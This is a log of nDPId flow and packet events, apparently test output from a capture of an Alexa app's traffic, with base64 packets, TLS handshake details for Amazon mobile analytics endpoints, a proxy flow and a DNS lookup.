+00766{"flow_id":38,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":200368,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"ePiC0\/vCAMDKkVoBCABFAAEm\/KdAAPMGrRM0VdHYrBAq2AG71Iw+cgz\/GE+WYoAYAHYYogAAAQEICmz\/BbAA9k7IFgMDALoEAAC2AAAqMACwVFa0PclIpB\/guv14R\/HQ9GteI7odZXPvkC3ltYcU5uq540M5poMRfqNgv\/QJ1kZl8GNPBJjVcrNYCXs12yqQpY72y7q6xeUT1bdntoSsbh\/5m9bcyW+LA9XB1HXChQyCRRxjkjZo+9UY5L+Vaqp6z9Gp1MnKdLhHwly5LFO27I5mZJJvujguzRxYIo233J4jEO8tGMiQlX4BVbUzzWLN\/Auy3tO8YKdwQZDUtrvpeDAUAwMAAQEWAwMAKArtHNlooDEGOoYdz+vQTrnCUo2Iy80xSbRwwrcl7vNB6MJiPH+aIlc="} +00723{"flow_id":36,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":239996,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"AMDKkaPvePiC0\/vCCABFAAELYD1AAEAGsx6sECrYNu8YuoTjAbvEzS6SzeCOhlAYAVd4ugAAFgMBAN4BAADaAwPrd1S1ddQk7rUlC7xdTTn0up1nnk\/tmx0cHtuMmn3chgAAIOrqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAkVpaAAD\/AQABAAAAACwAKgAAJ21vYmlsZWFuYWx5dGljcy51cy1lYXN0LTEuYW1hem9uYXdzLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACHp6AB0AFwAYuroAAQA="} +00424{"flow_id":36,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":295751,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAozthAAOcGnmU27xi6rBAq2AG7hOPN4I6GxM0vdVAQf\/wx\/gAAAAAAAAAA"} +00425{"flow_id":36,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":295904,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoG\/5AANsGXUA27xi6rBAq2AG7hOPN4I6GxM0vdVAQf\/wx\/gAAAAAAAAAA"} +02384{"flow_id":36,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":317,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":302047,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcG\/9AANsGV4s27xi6rBAq2AG7hOPN4I6GxM0vdVAQf\/wgmAAAFgMDAGwCAABoAwMmtKBZx\/u7oCUrDiVw9Sf\/yT7y2V5hEh17RXa5URvIlCAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LsAvAAAg\/wEAAQAACwAEAwABAgAFAAAAEAALAAkIaHR0cC8xLjEWAwMLXAsAC1gAC1UABhMwggYPMIIE96ADAgECAhA4NltvtzQZFjv8ve7WrL1kMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYwNTMxMDAwMDAwWhcNMTcwNjI2MjM1OTU5WjCBgTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCldhc2hpbmd0b24xEDAOBgNVBAcMB1NlYXR0bGUxGTAXBgNVBAoMEEFtYXpvbi5jb20sIEluYy4xMDAuBgNVBAMMJ21vYmlsZWFuYWx5dGljcy51cy1lYXN0LTEuYW1hem9uYXdzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKXcGbXxOrpLbSVz1WkSGdOoQe5mOSrPSipk7JhfXK7xeLV9EIeNBuFrZZ2JZEF\/T4BDidLNCjBenxkICR9k1ltsHLlgk98tozeORSexEAFwZZZ9s8DgT4svJHN6DknTZB33LMrl0uZtYGMYTJtg2i7zDyXDxOLI1n18e+5F2KQpK5furnmaXxpwezrh7zkJJWH83xemhzKvGTf2P7xdwQctiL8MA0GTOV9GzToVw1xTG\/fau1xVatZmUQ6sGqK6xGKs+WZbRF9Mt4qMTd8kDtoCqmVTR+TyHHj2qCp1DarPl6Gd6QI\/kcrSDIB3BKPyHONFqOCqSOb229mecsrdElsCAwEAAaOCAoMwggJ\/MDIGA1UdEQQrMCmCJ21vYmlsZWFuYWx5dGljcy51cy1lYXN0LTEuYW1hem9uYXdzLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABVQfvs54AAAQDAEYwRAIgCg5bNh62K\/b2zUGTsrOfXRQ2hEOpUa4\/UZNWRL0DuRUCIC9U2rEr7y4HeC90xoTunNK9D9jfY4DC\/G+LRXCIr\/RIAHYApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFVB++ztQAABAMARzBFAiAvW0BkxINB35W5rlhLG8DJboczX1rvev\/2LK5J7Okw4wIhAPdIkpGjTs1LVBwcD6WVj8wFfprle65WhoKwU3rdR0bKMA0GCSqGSIb3DQEBCwUAA4IBAQAuMikuMxAokEDkZMhLHxehHQqRelzQgDZAxTHsf0TNYtQ="} +00813{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":317,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":36,"flow_packet_id":8,"flow_first_seen":1490976041870,"flow_last_seen":1490976042302,"flow_tot_l4_data_len":2102,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":262,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34019,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02386{"flow_id":36,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":318,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":302298,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcHABAANsGV4o27xi6rBAq2AG7hOPN4JQ6xM0vdVAQf\/zjzwAAuezDHJlNCFbTqooOmZYJgXVoab7DiVH\/6Mt5ORjD+xDySm9+wED9xtH3xbzA0EOMEACtHLBqFfq\/1lOc5hgyC\/+63I0ueasZimFAVTpOAfg0DSU7h28WSDMTted26RaIqN4sq1BpVil25TYFZfn5t4iL5IQKiMF1UU0oWKAur7VoeugGIxgnJ84P1ZMLgRYURE4RzooO30lwpIVEKYQDqnaRdo1pWpA3GUHbKgknDnyPO0iRRz+NFJg+3vtrwI58Qsq45pFOscz6uTUx4HuVks5duBZ4NBgwVAlyFWV4FwAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hQ="} +02385{"flow_id":36,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":319,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":302667,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcHAFAANsGV4k27xi6rBAq2AG7hOPN4JnuxM0vdVAQf\/zfTAAA3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxxYDAwZRFgAGTQEABkkwggZFCgEAoIIGPjCCBjoGCSsGAQUFBzABAQSCBiswggYnMIGeohYEFEUgAqiLimWfdfr16QoaeNLwNwueGA8yMDE3MDMzMTA0NDUyNlowczBxMEkwCQYFKw4DAhoFAAQU0bFki4yfDdFro4rNK1AX1fnPwGQEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvAhA4NltvtzQZFjv8ve7WrL1kgAAYDzIwMTcwMzMxMDQ0NTI2WqARGA8yMDE3MDQwNzA0NDUyNlowDQYJKoZIhvcNAQEFBQADggEBAJG4mKDAIkHJGohEcAXrjWcL\/X9efPGdSWnIujVQblXj9Sr0T36LlIP6QAecCnTuDUccLdRBVsLBrGLFuSZhZFAr0bCbBDXT6pzyL\/6othUDtcsJOWKfVOFjwAlPelx5E36DQxWy\/UrA8ffDBvCs\/rOG3McAu\/c86V66PK+nEJdWQ333YOD5+Gl2OWY7eiNxGk+60HEQY771HF27aILCKdV1jZAq4q93Td4HzHLhg8\/K21C8odN63ecG5gyRacL8wAMfhIjcpQTkPRcQ8A5YlZlYNVememWqBabsOL1RgB0iJn\/NE9tjFaweytAKzoVCni\/W8cvzyM1Xw0pZim0KetOgggRuMIIEajCCBGYwggNOoAMCAQICEERokGNpSAXWyvb9udHEBSEwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNzAyMDQwMDAwMDBaFw0xNzA1MDUyMzU5NTlaMEAxPjA8BgNVBAMTNVN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0IE9DU1AgUmVzcG9uZGVyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqitCn32+QLqqv0UypRjFp6XQuyZrZxojgGML2TdmIzCun529IQIDjBtay0e+gHzpbxmaV3syrW21bLBjTcwZ8CX3o43Q+I5WjVd4Nkm5dNv1tAtRLFVe7OCfA5sYO5ZVPGllHeqsWMl7wjYDK9M0+OAAZXCXu5WDcZ3mT3VW+fvDRuPEHnMaZhIC5sIh\/POmvUsWf+aBTwm77otPaqw\/WWQ2Xk1sd442vWvW6yqCL\/C89qKaCLli\/9xRNJLDBUiuc5eJ+IoZv9G3gijlABp0b1fC39k5zZSGgZuBwq6H8sP8BgcXJhXpEUTGDBt7VHvtvZeNGqKVsDTiOy9wYTzE6wIDAQABo4IBHDCCARgwDwYJKwYBBQUHMAEFBAIFADAiBgNVHREEGzAZpBcwFTETMBEGA1UEAxMKVEdWLUQtMzg1NzAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zAdBgNVHQ4EFgQURSACqIuKZZ91+vXpChp40vA3C54wDAYDVR0TAQH\/BAIwADBuBgNVHSAEZzBlMGMGC2CGSAGG+EUBBxcDMFQwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCoGCCsGAQUFBwICMB4aHCAgaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIY="} +01167{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":319,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":36,"flow_packet_id":10,"flow_first_seen":1490976041870,"flow_last_seen":1490976042302,"flow_tot_l4_data_len":5062,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":506,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34019,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","server_names":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=mobileanalytics.us-east-1.amazonaws.com","alpn":"h2,http\/1.1","fingerprint":"87:AD:E9:2D:E8:42:F0:5C:3A:09:13:00:12:93:59:04:84:C3:E2:2D"}} +01247{"flow_id":36,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":320,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":302750,"pkt_caplen":669,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":669,"pkt_l4_len":635,"pkt":"ePiC0\/vCAMDKkVoBCABFAAKPHAJAANsGWtU27xi6rBAq2AG7hOPN4J+ixM0vdVAYf\/woDQAA9w0BAQsFAAOCAQEAeBzBYjVYR\/3Xm\/4EwfOmrVReMsKq9MWqVMnqwKTcEKvxEcfj9r7lenG5+58Pp8ADypkNgtf+ZqzyjvgjfIuOqviXUJn291KE7qGEFV2M0OVsYR4o+zIxe7MKrEOgCQGoFkv+ksOL51ITCUibYvsunKIzTBkUNTJ9NdM4wOX9pqrUGyXF08Huuv4VbD0CDCRYJF+euTAxGzMQjtgJozyRXywZtHQsOc3HxX4yUvsT7gfGhKOu6IB9fT+ZJcsrgOB2Xna0B1ygMB51lLP4fpj9u6yqtOTWdNHAiSwQVGvpTmKkcfx3kpaSnUTrUGtcI9PbBQMnkhdhJIzLryF6u4dEDhYDAwFNDAABSQMAF0EExu9+kSbEcVy+kDTOqD5ph0CVu885HWo1WUP4j60Y7ufx6T4ne3QfUOgh0m59iXVrZv4gQAQVboF3fpTwhI+DDAYBAQBQrWs8FE08\/e+oPfUU5O9lJgi0ZphhbE0S0BpQ0wKgRESbB2jDkpAmwJ\/\/KHpln+fqIGtxfZgAJ6YYxla0+FugnjpF\/R4cG3hiAHY72iTgrCzO0H0XA3DxT5tosgA7NzxuRQ3B7JYx+GlO0O3WfdcniXnTZTBI9lfvIdP\/m3jpgJem+tZ7ObuLeue+otByHgBBUrR+5ouWaAp4qAF+L6OrAPiByT9+T3ckjzi\/RhWQW1r0ZJByU6oGVHqB7RRzQjEjUIi8Ft85HrgMOjM63UV2LdwRs87fyzxzLz8XNcNlphz9OUWBI5BVPDmJPAOEByLfapJz+Ws6SjF4SR6cXtRiFgMDAAQOAAAA"} +00415{"flow_id":36,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":321,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":306322,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYD5AAEAGtACsECrYNu8YuoTjAbvEzS91zeCUOlAQAWKq5AAA"} +00416{"flow_id":36,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":307238,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYD9AAEAGs\/+sECrYNu8YuoTjAbvEzS91zeCZ7lAQAW2lJQAA"} +00416{"flow_id":36,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":307480,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYEBAAEAGs\/6sECrYNu8YuoTjAbvEzS91zeCfolAQAXmfZQAA"} +00416{"flow_id":36,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":307613,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYEFAAEAGs\/2sECrYNu8YuoTjAbvEzS91zeCiCVAQAYSc8wAA"} +00431{"flow_id":26,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":340777,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0+LFAAEAGE3OsECrYIsc08JXcAbvRHbpQOArcqoARAXEjsQAAAQEICgD2TtlEF1dZ"} +00430{"flow_id":39,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":346204,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0AfVAAEAGW7msECrYNFXR2NSNAbumNE9Ps3pFE4ARAVdxGQAAAQEICgD2TtptF6Xz"} +00430{"flow_id":39,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":393531,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA04wJAAPMGx6o0VdHYrBAq2AG71I2zekUTpjRPUIARAHJx3wAAAQEICm0XphEA9k7a"} +00477{"flow_id":26,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":396225,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ePiC0\/vCAMDKkVoBCABFAABTg1pAAOoG3qoixzTwrBAq2AG7ldw4Ctyq0R26UYAYAH5HlgAAAQEICkQXW5gA9k7ZFQMDABod0wqm1CeTwtRh\/BYnpdqNdoHINbL1W8\/0Gg=="} +00430{"flow_id":39,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":398154,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0AfZAAEAGW7isECrYNFXR2NSNAbumNE9Qs3pFFIAQAVdw9QAAAQEICgD2Tt9tF6YR"} +00445{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":419678,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8G69AAEAGvmqsECrYCsl+8Z0IH5CvoFXQAAAAAKAC\/\/\/VegAAAgQFtAQCCAoA9k7iAAAAAAEDAwg="} +00515{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":375,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1490976041680,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"10.201.126.241","src_port":40202,"dst_port":8080,"l4_proto":"tcp","ndpi": {"proto":"HTTP_Proxy","breed":"Acceptable","category":"Web"}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":375,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1490976041680,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"10.201.126.241","src_port":40202,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":377,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1490976043609,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"10.201.126.241","src_port":40202,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":609941,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WzNAAEAGfuasECrYCsl+8Z0KH5BhrRWqAAAAAKAC\/\/9jeAAAAgQFtAQCCAoA9k78AAAAAAEDAwg="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":389,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1490976043611,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":43350,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":611721,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"AMDKkaPvePiC0\/vCCABFAAA\/WlZAAEARM16sECrYrBAqAalWADUAK0G7veEBAAABAAAAAAAABmZscy1uYQZhbWF6b24DY29tAAABAAE="} 